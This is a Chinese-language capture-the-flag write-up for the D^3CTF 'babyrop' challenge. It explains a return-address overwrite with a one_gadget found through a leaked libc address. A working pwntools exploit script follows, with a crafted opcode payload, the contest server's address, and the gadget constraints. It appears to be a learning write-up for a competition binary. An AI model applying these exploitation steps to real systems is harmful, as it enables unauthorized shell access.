思路:
调试时发现在栈中有一个libc_start_main的地址
文章图片
可以根据这个地址算出距one_gadget 的偏移
文章图片
得到这个偏移后再让libc_start_main这个地址加上这个偏移即可得到one_gaget的地址, 之后再用这个地址覆盖ret即可getshell, 需要注意的是要满足one_gadget的约束条件, 我选则的是偏移为0x4526a 处的one_gadget, 所以需要保证[rsp + 0x30] == NULL 满足
调用的相关函数:
使栈中的数据相加
文章图片
调整 “栈指针”, 使"栈指针"想上移动
文章图片
向栈中写入零
文章图片
还需要注意的是检查的数据的类型是无符号数, 在多次调用0x28指令后
前三个入栈的指令都无法执行, 所以要通过其它指令来达到写零与覆写ret的目的
文章图片
【D^3CTF babyrop 经验总结】EXP:
from pwn import *context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
context.log_level='debug'
debug = 1
d = 1execve = "./babyrop"
if debug == 1:
p = process(execve)
if d == 1:
gdb.attach(p)
else:
p = remote("106.54.67.184", 15924)#0x28 -> *(_DWORD*)(a3 + 16) = 0
#0x42 -> *a1 - 8
#0x34 -> *a1 - 8, copy stack datapayload = '\x28\x28\x28' + '\x34'*12 + '\x56' + p32(0x24a3a) + '\x21' + '\x34\x34\x34\x34\x34'
p.sendline(payload)'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''raw_input()p.interactive()
复现结果:
文章图片
推荐阅读
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- [V&N2020 公开赛]babybabypwn[srop]
- babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyrop
- buuctf中的一些pwn题总结(不断更新)
- pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
- 堆溢出|House of force —— gyctf_2020_force
- 栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
- 堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap